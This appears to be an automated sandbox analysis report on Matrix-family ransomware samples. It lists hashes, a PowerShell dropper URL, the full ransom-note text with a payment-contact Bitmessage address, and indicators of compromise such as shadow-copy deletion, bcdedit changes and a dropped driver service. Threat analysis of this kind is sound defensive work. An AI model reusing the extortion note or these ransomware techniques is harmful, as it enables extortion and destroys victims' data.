Overview
overview
10Static
static
3FoxRansomw...65.exe
windows7-x64
10FoxRansomw...65.exe
windows10-2004-x64
10FoxRansomw...a7.exe
windows7-x64
10FoxRansomw...a7.exe
windows10-2004-x64
10FoxRansomw...20.exe
windows7-x64
10FoxRansomw...20.exe
windows10-2004-x64
10FoxRansomw...0b.exe
windows7-x64
10FoxRansomw...0b.exe
windows10-2004-x64
10FoxRansomw...53.exe
windows7-x64
10FoxRansomw...53.exe
windows10-2004-x64
10FoxRansomw...b1.exe
windows7-x64
10FoxRansomw...b1.exe
windows10-2004-x64
10Analysis
- max time kernel
34s - max time network
37s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
13/02/2024, 05:15
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-20231215-en
General
- Target FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
- Size 1.2MB
- Sample240213-fxzrcaff73
- SHA256 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b
- MD5 907636b28d162f7110b067a8178fa38c
- SHA1 048ae4691fe267e7c8d9eda5361663593747142a
- SHA512 501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a
- SSDEEP 24576:R/SA+2lraRrjSJR5ezmT1dM9tZBb5t+wb8fq/81mkvfW:3XlayIsy81hvf
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://myexternalip.com/raw
Extracted
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#CORE_README#.rtf
- {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 0D5953D6225CDE85\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 0D5953D6225CDE85\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 CkSy7y3E\cf0\f1\fs32\lang1049\par \par }
-
[email protected]\cf1\fs24\par
-
https://bitmsg.me
-
https://bitmsg.me/users/sign_up
-
https://bitmsg.me/users/sign_in
Signatures
- Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\ko-kr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\sl-si\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ro-ro\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pt-br\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-il\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\eu-es\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jre-1.8\lib\cmm\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-ae\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\uk-ua\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hu-hu\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ru-ru\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pl-pl\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Google\Chrome\Application\106.0.5249.119\WidevineCdm\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\de-de\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\es-es\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\fr-ma\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\es-es\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\it-it\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-fr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-tw\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\All Users\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Microsoft Office\root\Office16\OneNote\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 6508 bcdedit.exe 5468 bcdedit.exe - Blocklisted process makes network request 1 IoCs
flow pid Process 156 4900 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS j3MxuEwf64.exe - Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" j3MxuEwf64.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
